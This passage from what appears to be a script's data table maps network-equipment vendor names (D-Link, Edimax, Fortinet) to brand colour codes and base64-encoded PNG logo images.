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' ["D-Link"]='#4B4C4D #FA7627 #5B5B5B data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAgAAAABnCAMAAABByAoDAAAABGdBTUEAALGPC/xhBQAAACBjSFJNAAB6JgAAgIQAAPoAAACA6AAAdTAAAOpgAAA6mAAAF3CculE8AAAC+lBMVEUAAABAgL8rjKIrjKAsjKEri6ErjKErjKErjKErjKErjKErjaEri6ArjKIzgJlVqqosi6ArjKErjKErjKErjKEA//8ziJksjZ4zmZkqjaErjaErjKEqjKEth6UsjaErjaErjKErjKEtjqIrjaErjKEsjKEohqEniZ0qjKArjKArjKErjKE5jqoqjaEqjaIpjKMpi6EpjZ8rip8tj54rjKErjKErjKEsi6EniZ0rjKEsjKArjKEriqAsj6IrjaErjaErjKIrjKEsi6EsjKIqi6IggJ8rjKAsjKIrjaErjaIrlaorjKEpiqMAgIArjKIsjaArjKErjKErjKIrjaEkkqQrjKEmjKYpjKUrjaArjKErjKErjaErjKEqjqArjKErjKErjKErjKIrjKErjKAsjaEri6ErjqErjKErjKArjKIsjKErjKIri6IrjKEri6IrjKEtjKArjaEqjKErjKErjKEqi6Eqi6Axkp4rjaAqi6ApjaIrjKErjKQsjaErjpwsjqIsi6Ipj6MuiaQsjKErjKErjaArjKErgKori6EtjJ8rjKErjKErjKErjKIpip8rjKErjKEskKYrjKErjKEui6Iri6IqjKErjKIsjKErjKErjKEsjKErjKErjKErjKAsi58sjKIri6IrjKIqi6Esi6ErjKEri6Eri6IrjaIrjqMsjaMrjKEsjKEojaErjaMsiqAoj58rjKErip8rjKErjKIrjKErjp8rjKEqjaAri6IrjKEqjKAui6IsjaAqjKIrjaAsjKIrjKAvjqEsjKArjKArjKAtjp8rjKErjKEriKIuiaMui6Isi6EpjKArjKEri6Iri6ErjaAsjaIrjKErjKArjKIqi6Eri6IrjKEqjKErjKAkkpIri6IqjKErjJ8sjKErjKEsiqAri6Esi6Esi6Eti6ErjKEsjKMrjaEri6Epi6IrjaEri6IrjaEsjaIsjKEqi6AqjaIrjKEqiqMwj58rjKAsi6ArjKAri6EsjaArjKAqjaErjKH///8dgGcEAAAA/HRSTlMABDxxnsDX5u7l1K6ERwoDS6vy96gBDx0F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' ["Edimax"]='#BD1C21 #231815 #D6D6D6 data:image/png;base64,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' ["Fortinet"]='#77B81E #C7C7C7 #3D3D3D data:image/png;base64,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